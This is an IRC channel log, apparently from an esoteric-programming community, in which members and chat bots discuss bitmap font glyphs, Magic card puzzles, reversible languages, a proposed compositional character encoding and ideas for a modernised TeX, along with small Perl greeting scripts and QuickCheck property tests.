07:15:34 <get52> and ur patrician ways
07:15:47 <oerjan> 251 is an usual place to reset
07:15:49 <get52> im not worthy of ur presence :^)
07:16:23 <myname> i guess he meant 250 -> 0
07:16:34 <myname> in which case 251 being a prime is actually good
07:16:56 <oerjan> get52: we have nothing against saying brainfuck. in fact i've been known to correct the spelling on the wiki.
07:16:56 <myname> whatever the name of this structure is in english
07:17:35 <hppavilion[1]> IMHO, "Brainf*ck" is a curse word, but "Brainfuck" is not
07:17:47 <myname> what's the english name for (M,+,*) with (M,+) and (M\{0},*) being groups?
07:18:33 <myname> no, rings don't need two groups
07:18:54 <myname> which would translate into bod
07:21:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: tdh: not found
07:21:44 <HackEgo> tdh is the past tense of a successful hth. hth.
07:22:03 <HackEgo> hth is help received from a hairy toe. It is not at all hambiguitous.
07:22:40 <myname> one of my first encounters here was me cursing about monads
07:22:46 <myname> with the following respond
07:22:51 <HackEgo> Monads are just free monad monad monad algebras.
07:22:55 <zzo38> As far as I am concerned it is irrelevant in these cases whether or not "brainfuck" is a curse word, although it seems that to Rosetta Code it is considered as a curse word.
07:23:26 <get52> bye sry if i wasnt interesting enough tbh im new
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07:23:38 <HackEgo> Monads are just monoids in the category of endofunctors.
07:23:55 <lifthrasiir> UD has a (probably correct) definition of "too damn hilarious" at the *last* position
07:24:02 <myname> wtf is wrong with `? monads
07:24:09 <oerjan> hm we're below 10% bots
07:24:33 <myname> lifthrasiir: that's not correct
07:25:12 <lifthrasiir> myname: but to me that was much more plausible than other entries like teenage dickheads
07:26:33 <HackEgo> [wiki] [[Special:Log/newusers]] create * Get52 * New user account
07:26:42 <oerjan> myname: i suspect shachaf for `? monads
07:27:06 <HackEgo> Monads are just free monad monad monad algebras.
07:27:09 <oerjan> shachaf: did you make this ^
07:27:19 <HackEgo> shachaf elliott oerjan elliott Bike FreeFull ais523 ais523 oerjan Gregor shachaf oerjan FreeFull shachaf shachaf nitia
07:27:27 <oerjan> shachaf: no, not that one
07:27:33 <oerjan> `culprits wisdom/monads
07:27:35 <HackEgo> shachaf elliott oerjan elliott oerjan oerjan shachaf Phantom_Hoover Phantom_Hoover ais523 ais523 oerjan oerjan oerjan oerjan FreeFull shachaf shachaf nitia
07:27:57 <zzo38> Now I made up the other Magic: the Puzzling (puzzle.4) and you should test it please, because I may have done something wrong
07:28:12 <HackEgo> ` is the prefix to greatness.
07:28:19 <shachaf> zzo38: You should include a URL.
07:28:47 <zzo38> O, yes, I should include the absolute URL. It is: http://zzo38computer.org/textfile/miscellaneous/magic_card/puzzle.4
07:29:19 <zzo38> (I thought you already knew what it was relative to, but perhaps not, I am a bit crazy)
07:29:28 <myname> zzo38: also, what kind of magic is possible with your dnd latex commands?
07:29:46 <shachaf> zzo38: I didn't know but I could find out, but that would be a lot more work than copying a complete URL.
07:30:07 <zzo38> It is used only with Plain TeX, I don't know if it can be used with LaTeX at all (and isn't meant to be)
07:30:21 <shachaf> zzo38: Is that a puzzle? It doesn't ask any questions.
07:30:39 <zzo38> shachaf: "Win the game" is implied if not otherwise specified.
07:31:49 <zzo38> myname: A lot, including sorting the list of skills, keep track of multiple character sheets, calculate ECL, ask the user what printing level, and more
07:32:21 <zzo38> Look at the file to see what it is doing.
07:35:01 <zzo38> shachaf: A few other things are also implied if not otherwise specified, such as irrelevant cards in other zones, irrelevant cards in graveyard can't be cast from graveyard, you have priority at the given situation, no unlisted effects are waiting to happen, and various other stuff.
07:35:24 <myname> imho the world needs more interactive character sheets
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07:37:51 <zzo38> myname: It can keep track of inventory and spell lists and money, and can do footnotes and chapter headings and session headings, and so on. You can even see level20.tex to see the use of these macros.
07:38:27 <zzo38> This program isn't an interactive character sheet though; it is just partially automatic.
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07:39:14 <zzo38> shachaf: Do you understand this puzzle at all?
07:39:20 <zzo38> Did I do it wrong?
07:39:40 <zzo38> (And do you understand my first three puzzles?)
07:39:45 <shachaf> I looked at it and I didn't know a lot of the cards.
07:39:53 <shachaf> So I decided it would probably be too much effort to understand.
07:41:08 <zzo38> shachaf: Cards in opponent's library can damage you, so don't worry to look up all of them; after all they are in a random order so even if you know Lightning Bolt that's enough.
07:41:34 <zzo38> Other cards can be look up and then make the printout I suppose
07:42:18 <zzo38> It is not difficult to look up; make the program to do it automatically if you want to (possibly at some time I might do such thing too)
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07:53:07 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45616&oldid=45615 * Quintopia * (+130) /* Examples */
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08:02:05 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45617&oldid=45616 * Quintopia * (+0) /* Python 2 */ wiki don't like ''
08:03:47 <zzo38> Do you know what kind of tricks can be done with a madness ability?
08:43:16 <HackEgo> [wiki] [[Aubergine/aubergine.py]] http://esolangs.org/w/index.php?diff=45618&oldid=45452 * Quintopia * (+0) bugfix
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09:04:48 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45619&oldid=45591 * Quintopia * (+229) /* Examples */
09:09:37 * oerjan concludes no letter is above 100
09:10:30 <oerjan> which also eliminates the question of whether to use "and" after the hundreds
09:13:08 <oerjan> and would fix A and D except for whether to use "and" or "&" before the one Z
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09:34:04 <olsner> oerjan: you're out of order
09:35:55 <fungot> b_jonas: ( afaiu) course. don't know if that extends to my isdn connection)
09:36:14 <b_jonas> that explains why fungot sometimes reacts so slowly
09:36:14 <fungot> b_jonas: on fnord? wouldn't a box, refrigerator, or at mit? we ( waterloo) beat you at the conference later....'
09:36:40 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
10:44:33 <izabera> \oren\: add these https://github.com/highvoltage/shello/blob/master/shello.sh#L57
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11:29:48 <oerjan> @tell ais523 <ais523> giving you 9**3 possibilities <-- 3**9 hth
11:31:42 <oerjan> @check \x y -> (x > 0 && y > x) ==> (x ** y > y ** x)
11:31:44 <lambdabot> *** Failed! Falsifiable (after 5 tests and 10 shrinks):
11:31:44 <lambdabot> 143.8179375507593 7074.224045838542
11:32:23 <oerjan> @check \x y -> (x > 0 && y > x && not (isInfinity (x ** y)) ==> (x ** y > y ** x)
11:32:23 <lambdabot> <unknown>.hs: 1: 75:Parse error: EOF
11:32:28 <oerjan> @check \x y -> (x > 0 && y > x && not (isInfinity (x ** y))) ==> (x ** y > y ** x)
11:32:30 <lambdabot> Perhaps you meant one of these: ‘isInfinite’ (imported from Prelude), ‘infin...
11:32:37 <oerjan> @check \x y -> (x > 0 && y > x && not (isInfinite (x ** y))) ==> (x ** y > y ** x)
11:32:39 <lambdabot> *** Failed! Falsifiable (after 1 test and 2149 shrinks):
11:32:39 <lambdabot> 0.4089889678803982 14.274412076418368
11:33:06 <oerjan> @check \x y -> (x > 1 && y > x && not (isInfinite (x ** y))) ==> (x ** y > y ** x)
11:33:08 <lambdabot> *** Failed! Falsifiable (after 18 tests and 23 shrinks):
11:33:08 <lambdabot> 1.1743091876384109 11.511501398312754
11:33:32 <oerjan> @check \x y -> (x > 2 && y > x && not (isInfinite (x ** y))) ==> (x ** y > y ** x)
11:33:33 <lambdabot> *** Gave up! Passed only 80 tests.
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11:34:37 <boily> SNOOOOOOOOOOOOOOOOOOW!
11:34:49 <lambdabot> ENVA 241120Z 12008KT CAVOK 02/00 Q0994 NOSIG RMK WIND 670FT 15008KT
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11:37:21 <Taneb> It's been years since I've seen snow
11:38:32 <lambdabot> CYUL 241136Z 08006KT 4SM -SN BKN016 OVC035 M05/M07 A3026 RMK SC6SC2 SLP250
11:38:43 <boily> the -SNing has begun.
11:38:53 <boily> Tanelle. Where are you now?
11:40:09 <Taneb> Apparently it snowed the other night, but I was asleep and it didn't lie
11:50:19 <b_jonas> \oren\: ah, I see you added a lot of new kanji to your bitmap font while I wasn't looking
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11:59:18 <b_jonas> \oren\: have you done a counting for who many of the grade 1 and 2 Kyōiku kanji you have in the font?
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12:15:47 <boily> the \oren\font has ꙮ ^^
12:16:46 <HackEgo> [U+A66E CYRILLIC LETTER MULTIOCULAR O]
12:20:33 <b_jonas> that was one of the earlier characters he's added, relatively speaking
12:22:20 <b_jonas> \oren\: ah, I compared, and it seems you only have two characters missing from grade 1 and 2 together: 教 数
12:23:48 <b_jonas> \oren\: in that case, I propose that you add those two, to complete the collection
12:30:00 <b_jonas> there's a sharp cut, because you have less than half of the grade 3 kanji
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12:33:21 <b_jonas> (you can find interesting stuff in HTML comments on public webpages)
12:38:15 <b_jonas> hehe, a CSS file that starts with '<STYLE TYPE="text/css">'
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13:15:23 <lifthrasiir> is the name of that font the \oren\font? :p
13:21:50 <b_jonas> lifthrasiir: www.orenwatson.be/fontdemo.htm
13:22:02 <b_jonas> lifthrasiir: the name of the font is apparently neoletters
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14:16:32 <lifthrasiir> b_jonas: I have a tentative name for my font, Unison, but probably not a good choice :p
14:17:34 <b_jonas> lifthrasiir: right. I used a developer codename "consolegood20" when I started to make my font (you know, console font, looks good, 20 pixels high), but that is obviously a very bad name, so I later chose a real name "fecupboard20"
14:37:24 <lifthrasiir> b_jonas: probably it is more googlable, so a net gain.
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15:21:38 <izabera> https://www.reddit.com/r/AskReddit/comments/idpfs/i_put_a_penny_in_my_butt_and_now_i_cant_get_it_out/
15:26:21 <myname> that problem will solve itself
15:31:25 <FireFly> It's hard to take someone seriously with a throwaway nick like that
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16:54:43 <quintopia> hi mroman. how goes the blsq golfing?
16:55:33 <MDream> I've been using making reversible logic gates in Pure Data.
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16:57:14 <MDude> I figure data flow would be a good fit for reversible logic.
16:58:16 <mroman> quintopia: Not much going on
16:58:17 <MDude> Though it might also work in Javascript pretty well.
16:58:27 <quintopia> of course. it's not the first time the model has been used for that. what's that one stack-based reversible language?
16:59:32 <MDude> I'm pretty sure most or even every reversible language on the wiki is stack based.
16:59:55 <mroman> aren't pure languages reversible by definition?
17:00:08 <mroman> If you're at step 5 you can just rerun 1-4 to get back to step 4
17:00:12 <MDude> As if I knew what pure languages are.
17:00:21 <MDude> And Pure Data is just a name of a data flow klanguage.
17:00:32 <MDude> No idea if it's a "pure language".
17:00:39 <mroman> I might have a wrong definition of reversible though.
17:00:54 <MDude> http://puredata.info/
17:01:03 <MDude> Also https://en.wikipedia.org/wiki/Reversible_computing
17:02:09 <MDude> From what little I've read of asm.js, reversible logic would compile to it pretty easily, and probably optimize well.
17:02:44 <quintopia> and no, not all the reversible languages are stack-based i think
17:04:51 <MDude> The reason I like the diea of using the language Pure Data is that it's able to run things on the audio card's DSP.
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17:05:40 <MDude> And I like the idea of DSP based computation.
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17:08:08 <MDude> Since that seems to lend itself well to cybernetics-based systems analysis.
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18:18:28 <HackEgo> olist 1013: shachaf oerjan Sgeo FireFly boily nortti b_jonas
18:21:13 <izabera> https://www.worldcubeassociation.org/results/p.php?i=2011ETTE01
18:21:22 <lifthrasiir> http://cosmic.mearie.org/2015/11/font/sample 745 characters so far.
18:23:01 <shachaf> the news post is talking about the positive reaction to olist book pdfs
18:23:32 <shachaf> even though people don't actually read them tdnh
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18:31:00 <oerjan> i'm still waiting for that lizard to accidentally get turned back into a theropod, now _might_ be a good time.
18:32:08 <oerjan> well, "good". there may be side effects, with belkar not nearby
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18:42:41 <oerjan> <MDude> I'm pretty sure most or even every reversible language on the wiki is stack based. <-- at least smatiny isn't.
18:43:41 <oerjan> mind you, both of those are essentially finite automata
18:44:00 <oerjan> and no one really knows how to program backflip.
18:44:34 <oerjan> also reversible brainfuck, and thus jolverine
19:15:09 <MDude> I'm fine with a language being, in isolation, finite automota.
19:16:07 <MDude> Since a Turing machine is just a r/w head controlled by a finite automota acting on an infinite tape.
19:17:00 <MDude> So a finite automata with I/O can be seen as the transition table of a Turing machine, with the external world acting as its tape.
19:22:44 <MDude> With it probably wouldn't even be hard to make a genral purpose Turing Tapehead program that gets hooked up to arbitrary finite automota via shell scripting.
19:24:46 <oerjan> well neither backflip nor smatiny have input
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19:25:27 <MDude> There's a note on Smanity about input as an experimental feature.
19:25:50 <hppavilion[1]> It's a graphical fungeoid: the arrows are drawn on a canvas instead of being unicode (or in lamer implementations, ASCII) text
19:26:44 <MDude> I should make a fungeoid in Little Big Planet 2.
19:28:14 <MDude> Or the first one, since then I'd have to do it without explicit logic components.
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19:29:58 <MDude> Where's a Ghost part of the name GhostFunge from?
19:30:52 <MDude> Sounds ike it'd be a ZOMBIE influenced funge variant.
19:32:10 <hppavilion[1]> https://docs.google.com/document/d/1ggRybliq-6IYHTbMv3mQCZOJwK_m_eYH1qXJ5HPfPgw/edit?usp=sharing
19:34:58 <MDude> I guess tha'ts me, though on my end I'm being called a ferret.
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19:36:22 <FireFly> I want to say "I am the walrus", but it'd be a lie
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19:38:03 <FireFly> I've never seen fireflies on gdocs, alas
19:39:14 <lifthrasiir> well, 887 characters now. (box drawing characters, thank you so much)
19:40:04 <hppavilion[1]> I started on GhostFunge due to limitations with Unicode's arrows
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19:44:08 <hppavilion[1]> FireFly: Yes, but it'd be better to make them combining so that they take up less characters AND are even more plentifyl
19:47:43 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45620&oldid=45578 * Hppavilion1 * (+548) /* Commands */ Drifting
19:48:04 <FireFly> The same goes for box-drawing characters (although I suppose they had to be kept as precomposed glyphs for compatibility with CP437)
19:48:48 <HackEgo> [U+2550 BOX DRAWINGS DOUBLE HORIZONTAL]
19:49:28 <FireFly> One can't combine ╗ and └ for instance, but there are characters for ╥ ╨ ┼
19:51:42 <hppavilion[1]> For english and symbols, I could probably outdo unicode
19:52:25 <hppavilion[1]> For foriegn languages, I'd fall pretty short. I'd have the greek alphabet, some diacritics, and the sharp s (along with characters that can't be diacriticized)
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19:54:45 <FireFly> Even for symbols, though? Unicode has a.. rather rich set of symbols
19:55:01 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45621&oldid=45617 * Quintopia * (-4) /* Python 2 */ moregolfier
19:55:12 <hppavilion[1]> I think Kastor probably has >100 operators. Anyone want to see?
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20:56:12 <HackEgo> [wiki] [[Registry]] N http://esolangs.org/w/index.php?oldid=45622 * Hppavilion1 * (+1110) Created Page, to add more operations
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21:00:24 <FireFly> A log operator as in symbol? APL uses ⍟ for log (and ⋆ for power/exp)
21:01:33 <FireFly> Apart from being a circled ⋆, I've also heard it motivated as being a visual pun on a log seen from the side
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21:06:06 <b_jonas> oh, that reminds me, who started the horrible convention that's still used in a few places where "literal" means character/string types or values as opposed to numerical types or values? does this come from APL only, or does it have its origins elsewhere, eg. in the FORTRAN culture?
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21:12:40 <FireFly> b_jonas: weird, I've never seen it used like that
21:14:31 <b_jonas> FireFly: luckily it's rarely used that way outside of an APL context
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21:15:55 <b_jonas> The scary part is that if it comes from APL, then it might be older than the current usual meaning of literal, that is, an expression in the code that just encodes a constant value.
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21:18:03 <HackEgo> [wiki] [[Introduction to esolang design/Data models]] N http://esolangs.org/w/index.php?oldid=45623 * Hppavilion1 * (+3031) Some initial data models
21:19:57 <HackEgo> [wiki] [[Introduction to esolang design/Data models]] http://esolangs.org/w/index.php?diff=45624&oldid=45623 * Hppavilion1 * (+346) Map
21:20:51 <HackEgo> [wiki] [[Introduction to esolang design/Data models]] M http://esolangs.org/w/index.php?diff=45625&oldid=45624 * Hppavilion1 * (+2) s/ tring / treeng /
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21:30:53 <HackEgo> [wiki] [[Introduction to esolang design/Data models]] http://esolangs.org/w/index.php?diff=45626&oldid=45625 * Hppavilion1 * (+1394) Some new data models
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21:39:40 <int-e> > let this ‽ that = otherwise in True ‽ False
21:40:39 <int-e> it's defined in the prelude.
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22:00:37 <hppavilion[1]> int-e: I know about otherwise; I was just trying to figure out what you made ‽ do.
22:01:06 <int-e> hppavilion[1]: it's a constant function with two arguments, so very boring.
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22:19:21 <FireFly> b_jonas: well, that meaning of 'literal' comes from its use in formal languages, doesn't it? which I /think/ predates APL, but I don't know
22:24:39 <FireFly> There's also the use in logic where it means a variable or negated variable.. which I always thought was funny since those aren't literals in the sense I usually think of
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22:27:36 <lambdabot> CYUL 242200Z 00000KT 15SM FEW018 OVC043 M03/M07 A3039 RMK SC1SC7 SLP294
22:28:32 <int-e> myname: I think we spent all that effort on clarifying that there was nothing to clarify
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22:50:43 <izabera> ok, someone should write a name2hello thing
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22:52:34 <boilyphone> Izabellora! Shouldn't be hard to add a porthello command to HackEgo, akin to `thanks. We just have to include some special cases (eg Tanelle).
22:53:01 <HackEgo> Hi boilyphone. Hoilyphone.
22:53:19 <shachaf> "Tanelle" isn't even a good special case. It reads nothing like "hello". There's no o.
22:53:29 <shachaf> Or maybe I'm missing something. Who knows.
22:53:52 <boilyphone> Hellochaf. Taneb is always addressed in the vocative case.
22:53:53 <HackEgo> #!/usr/bin/perl \ $_ = (join " ", @ARGV) || `words`; s/^\s+|\s+$//g; print "Hi $_. "; if (/[aeiouyAEIOUY]/) { s/^[^aeiouyAEIOUY]*/H/; } else { s/^./H/; } print "$_.";
22:57:14 <HackEgo> #!/usr/bin/perl -CSDA \ $_ = (join " ", @ARGV) || `words`; s/^\s+|\s+$//g; print "Thanks, $_. "; if (/[aeiouyAEIOUY]/) { s/^[^aeiouyAEIOUY]*/Th/; } else { s/^./T/; } print "$_.";
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23:52:38 <hppavilion[1]> Creating a character encoding seems like a lot of work and I could use some assistance xD
23:59:04 <MDude> https://www.youtube.com/watch?v=-TqfBEX6QtE
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00:02:29 <Taneb> @ask boily How do you decline Taneb?
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00:07:15 <hppavilion[1]> MDude: Morphic [character] Encoding and Markup Language
00:07:32 <hppavilion[1]> It's a character encoding I'm making to... complement Unicode
00:08:00 <MDude> I should also make that character thing I mentioned at some time.
00:08:55 <MDude> Where each document comes with its own glyph index, and no inherent relation between characters of different fonts.
00:09:15 <MDude> Gimmie a link for this Morphic [character] Encoding and Markup Language.
00:09:30 <hppavilion[1]> The idea is that characters are morphic; for example, instead of unicode's omega-and-a-half unique arrow characters, you would do something like $(ARW:NW+DASH[1,2]) which gives you MORE possible arrows than unicode could ever give you and LESS plane space is used
00:09:42 <hppavilion[1]> MDude: It's currently a google doc that I've barely worked on, but OK
00:09:49 <tswett> hppavilion[1]: what do you mean by "morphic"?
00:10:23 <MDude> I get a snese of it being like procedurally genrated/parametric.
00:10:48 <hppavilion[1]> tswett: Morphic kind of like combining diacritics. I believe it was either oerjan or \oren\ that told me "morphic" was the word I was looking for (I said semantic, which was apparently entirely wrong)
00:11:06 <hppavilion[1]> MDude: https://docs.google.com/document/d/1_jGozB6Uhw-V2qgvvityjJstuAw4k7UNJuNoD3-tdds/edit?usp=sharing
00:11:09 <tswett> The word that comes to my mind is "compositional", which means "involving putting pieces together".
00:11:49 <hppavilion[1]> It's kind of procedurally generated, but not entirely. It's more like a bunch of combining diacritics, but not to the logical extreme like that one fake RFC did
00:12:13 <tswett> So the way I'm imagining this working is...
00:12:45 <tswett> You have a whole bunch of defined shapes. Shapes tend to have defined anchor points.
00:13:22 <tswett> You more or less just list the shapes you want in your character.
00:13:59 <tswett> Some shapes are parameterized with numbers and/or some kind of measurements.
00:16:40 <hppavilion[1]> tswett: That will certainly be a thing, but that's too logically extreme. Normal, alphabetical characters will be allowed as well encoded as single code points.
00:16:59 <hppavilion[1]> The composing feature comes into play more for operators and arrows and box drawing and other symbols
00:19:21 <tswett> I figure letters would have an anchor point indicating where most diacritics should go. Diacritics would, of course, have anchor points indicating where they would go on the letter.
00:19:41 <tswett> So yeah, letters would certainly be their own primitive shapes.
00:20:28 <hppavilion[1]> Letters have anchor points for all types of diacritic (above, below, sides, diagonals) and diacritics have a start anchor and an end anchor (the end anchor for repeated diacritics)
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00:20:54 <tswett> What's an example of a repeated diacritic?
00:21:28 <tswett> Yeah, that makes sense.
00:21:45 <hppavilion[1]> And letters (font-)optionally have an entry and exit points with some sort of equation for waypoints included of cursive fonts
00:22:03 <tswett> I was literally just typing a message about how you could do cursive with this.
00:22:28 <tswett> I wasn't thinking of equations, though; I was thinking of cursive stuff still just being constructed out of static pieces.
00:22:36 <tswett> Like, consider the word "look" in cursive...
00:23:54 <tswett> You'll use the plain cursive "l" variant, and the cursive "o" variant which ends on the midline, and the cursive "o" variant which begins on the midline, and the plain cursive "k" variant.
00:23:56 <hppavilion[1]> tswett: I don't like constructing out of primitive shapes; that's too close to just a vector image format than to a text encoding
00:24:28 <tswett> I guess it depends on where you draw the line between images and text.
00:25:05 <hppavilion[1]> tswett: Instead of that, the characters will have anchor points and equations that factor in the anchor points that generate a bezier curve from the end anchor on the first character, through the waypoints generated by the equation, ending on the start anchor point for the following character. When you do cursive, at least.
00:25:11 <tswett> Unicode, for the most part, tries to define text as a sequence of characters (preexisting ones) which express language.
00:26:00 <hppavilion[1]> And MEML tries to define text as sequences of characters and subcharacters (composed and preexisting), as well as some basic markup control
00:26:41 <tswett> What would the variables be for?
00:26:58 <hppavilion[1]> But there will also be anchor lines, which are lines between two points used primarily for transformations.
00:27:14 <hppavilion[1]> The only two I've thought of so far are ref-h and ref-v
00:27:37 <hppavilion[1]> Over which points used in the font are reflected when a character is reflected
00:27:44 <tswett> I guess my suggestion would be to think of a bunch of characters and subcharacters you want to include.
00:28:03 <hppavilion[1]> But first I have to define what makes up a character xD
00:28:20 <tswett> I dunno. I was thinking of just jumping straight in.
00:29:02 <hppavilion[1]> There's also a rot-c centrepoint around which characters can be rotated. Rotations are limited to either 45- or 90-degrees, haven't decided which yet.
00:29:22 <tswett> Say, all right, letters are subchars, arrow heads are subchars, arrow bodies are subchars, diacritics are subchars, maybe underlines are subchars...
00:29:34 <tswett> How about the fraction bar, is that a subchar?
00:30:00 <hppavilion[1]> tswett: That sounds about right. Underlines are formatting, not characters
00:30:15 <hppavilion[1]> tswett: Oooh, fraction bar. Forgot about that one. I think that'll be a control code.
00:30:31 <hppavilion[1]> I mentioned earlier a $(code:value,value,value) syntax
00:30:58 <hppavilion[1]> That's actually for MEMLEdit, a planned editor in which one can make MEML text that can't usually be made
00:31:10 <tswett> I might suggest not thinking about the syntax too seriously until you have a good handle on everything else.
00:31:25 <tswett> Except something tells me you've already thought of that.
00:31:32 <tswett> Anyway, congratulations, you've successfully distracted me from what I meant to be doing. :D
00:31:41 <hppavilion[1]> But that gets converted to a series of codepoints with control brackets, control mapper (or something), and control separator
00:31:49 <tswett> I meant to be defining a language of my own.
00:32:14 <tswett> Nah, you can go ahead and I'll undistract myself.
00:32:53 <hppavilion[1]> So MEMLEdit converts that to a control code, and fractions are interpreted as control codes. MEML, if you haven't figured it out, is meant for mathematics writing.
00:33:40 <tswett> Hmmmm. You've heard of LaTeX, right?
00:34:27 <hppavilion[1]> I actually considered using LaTeX to write up the doc on MEML xD
00:34:31 <tswett> LaTeX is made for mathematical writing and is definitely flexible enough to do most of the stuff we've been talking about. But there are a lot of things not to like about LaTeX.
00:34:57 <hppavilion[1]> MEML is like LaTeX, but simpler. Not so deep and complicated, just for basic writing
00:37:15 <hppavilion[1]> Though it certainly may develop into something TeXy xD
00:42:05 <hppavilion[1]> I kind of want to make my own TeX designed for the modern day, and might like someone to help me
00:45:08 <tswett> Well, I'm more or less familiar with C#, Python, C, C++, Haskell, Javascript, Lua, SQL, HTML, LaTeX...
00:45:35 <hppavilion[1]> I would probably develop a prototype of it in python, the final version in C(++)
00:46:03 <Jafet> Wasn't TeX first implemented in Pascal with WEB?
00:47:15 <zzo38> Yes TeX is implemented in WEB, which is a preprocessor and literate programming system for Pascal programming
00:51:43 <zzo38> If I was making the typesetting system similar to TeX there are some things I would have done different, such as allowing definitions to jump out of blocks without necessarily being global, and some more generalized mathematical typesetting operations, and making a filter to take the manuscript on stdin and output the DVI on stdout instead of how TeX does it, and so on.
00:54:35 <hppavilion[1]> The prototype will likely be interpreted, though, so...
00:54:58 <hppavilion[1]> tswett: So what do you think about modernized TeX?
00:55:40 <tswett> Like, about the idea of modernizing TeX?
00:55:45 <tswett> I'm definitely in favor.
00:56:05 <tswett> One of my projects is modernizing SQL.
00:57:15 <hppavilion[1]> If you want to help at any point in the future, you can go ahead.
00:57:33 <zzo38> I do like many things about TeX though, including using DVI as the output format is also the good idea. But unlike troff I would rather to have it use coprocessors rather than preprocessors to do those kind of things in general (although preprocessors can be used too); this way would allow macros to be interpreted and the coprocessor will use the one with the macros already interpreted and can emit more macros
00:59:49 <zzo38> tswett: I also had some idea improvement of SQL, such as a CREATE FUNCTION command (although with a syntax that isn't matching any existing SQL implementation as far as I know), and allowing a trigger program to contain an exception handler section.
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01:01:59 <tswett> This wouldn't be an improvement of SQL, though; I'd be throwing the whole thing out and starting from scratch.
01:02:19 <zzo38> O, it would be a completely new kind; well, you can try that too if you like to.
01:02:19 <tswett> It would be heavily inspired by category theory.
01:02:45 <zzo38> hppavilion[1]: Can you explain more how you would do so?
01:03:16 <tswett> But an understanding of category theory wouldn't be necessary to use the language, of course!
01:04:00 <hppavilion[1]> zzo38: Perhaps make documents interactive, and allow said interactivity to connect to other users?
01:04:39 <hppavilion[1]> I think that it would pretty much have to be interpreted when using those functions; PDF and DVI simply don't support the level of control I would want my thing to gran
01:04:41 <\oren\_> I added ꙮ earyl because someone mentiones it
01:05:15 <zzo38> hppavilion[1]: TeX already supports interactive programs, although for sockets and stuff I would probably expect that an external coprocessor could be used (and add support for such thing)
01:05:32 <zzo38> My CREATE FUNCTION would be: CREATE [TEMPORARY] FUNCTION [IF NOT EXISTS] [schema.]name ([args]) [ACCUMULATING (vars)] AS expr
01:06:24 <zzo38> hppavilion[1]: The compiled document can't be interactive (unless the driver implements specials to do so, somehow), although you can have interactive stuff while compiling the document.
01:06:44 <coppro> so the usual programming idiom is to factor common code into functions and pass around the data
01:06:52 <coppro> what if you factored common data out and passed around the functions?
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01:08:56 <zzo38> Also it may be good to support more versatile font metric format (possibly implementing TFM as well though), which does thing of TFM but also a few more things
01:11:32 <zzo38> (Actually maybe the ACCUMULATING clause should be allowed to have an optional WHERE clause too, and perhaps also an optional ORDER BY clause and LIMIT/OFFSET clause)
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01:20:48 <HackEgo> [U+6559 CJK UNIFIED IDEOGRAPH-6559] [U+6570 CJK UNIFIED IDEOGRAPH-6570]
01:24:35 <Jafet> I'd rather function around passing out common factor data.
01:24:55 <lifthrasiir> \oren\_: did you draw all letters with combining chars yourself?
01:27:42 <hppavilion[1]> tswett: Should I use my own MEML typesetter for STS or should I just allow normal fonts? Or both, more likely?
01:28:29 <lifthrasiir> I've semi-automated the glyph composition at the end
01:29:03 <\oren\_> I drew every character individually because... well I have literally no life
01:29:12 <hppavilion[1]> (MEML will henceforth be canonically rendered by WalText2i
01:30:25 <lifthrasiir> also, fuck the box-drawing character order
01:30:52 <lifthrasiir> could you just use the binary order please? :(
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01:33:51 <\oren\_> thank fuck, the germans have the presence of mind
01:34:44 <lifthrasiir> \oren\_: I've also tried to draw a kanji, and well... it was hard to make it good-looking.
01:35:21 <\oren\_> I usually try to make it recognizable rather than necessarily good looking
01:36:06 <hppavilion[1]> \oren\_: Speaking of which, the comma looks a bit too close to the period
01:36:08 <lifthrasiir> my secondary goal is to make it good, so I've adjusted some existing glyphs if it looks too bad
01:36:34 <\oren\_> hppavilion[1]: really? it's almost twice the size
01:37:02 <hppavilion[1]> Well the period is still VERY small, so twice the size is hard to tell.
01:37:03 <lifthrasiir> to make it distinguished from Ø and 0 (my font has a slash inside 0)
01:37:21 <\oren\_> hppavilion[1]: are you at the right point size (12)?
01:38:17 <\oren\_> the perios has 4 pixels, the comma has 7
01:40:17 <hppavilion[1]> Well the comma still doesn't look quite comma-y enough. It isn't too confusing, though.
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01:42:56 <hppavilion[1]> It isn't really strongly typed though xD. "Type" isn't really applicable
01:43:47 <hppavilion[1]> I'm thinking something like $com[optionalarg|anotheroptionalarg|somanyoptionalargs=value]{content|morecontent|evenmorecontent}
01:45:31 <hppavilion[1]> lifthrasiir: Not the same as LaTeX; just similar to TeX. My /own/ TeX.
01:45:50 <hppavilion[1]> (I'm using "LaTeX" and "TeX" interchangably here xD. Sorry.)
01:46:03 <lifthrasiir> so are you making another Turing-complete esolang? :)
01:49:43 <hppavilion[1]> Why don't we invent something weird called a "Trifraction"?
01:50:13 <hppavilion[1]> Written like a fraction, except the dividing line is an equilateral triangle and there are three numbers, one on each side of the triangle
02:07:40 <hppavilion[1]> What's the equivalent of Big Sigma Notation and Big Pi Notation for exponentiation?
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02:15:05 <Hoolootwo> I'm not sure how that would work, because exponentiation is not commutative like addition and multiplication
02:16:13 <coppro> hppavilion[1]: there's conway's up arrow?
02:22:18 <hppavilion[1]> Here's an idea for a logarithm syntax that isn't an operator
02:26:44 <zzo38> That is one of the kind of things I have wanted to make TeX mathematical typesetting to be "more generalized" by
02:27:20 <zzo38> Although with some hacks it may be possible to do with ordinary TeX anyways
02:32:18 <hppavilion[1]> Should I just include a "White" escape code/modifying diacritic for MEML instead of having white variants of characters?
02:32:47 <hppavilion[1]> The Whitenning character would basically be both for blackboard bold set characters and for white punctuation
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02:56:32 <HackEgo> [wiki] [[UberGenes]] http://esolangs.org/w/index.php?diff=45627&oldid=45621 * Quintopia * (-12) /* Python 2 */ fix bugs introduced by previous golfing
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03:19:06 <hppavilion[1]> Or n/0=<anything that behaves even remotely like a number>
03:19:42 <zzo38> Division by zero is not allowed.
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03:29:20 <hppavilion[1]> In North Korea, the rules of writing Korean mandate that the names of Kim-Jong Il and Kim-Jong Un and Kim-Jon Stewart always be set in bodl
03:29:35 <zzo38> I know that already.
03:30:44 <Sgeo> http://xkcd.com/1608/
03:32:04 <zzo38> If it apply only if it is name of the specific people with those name, then at least you can now tell the difference, but they are still stupid to be the law. Possibly sometimes it can't even write bold
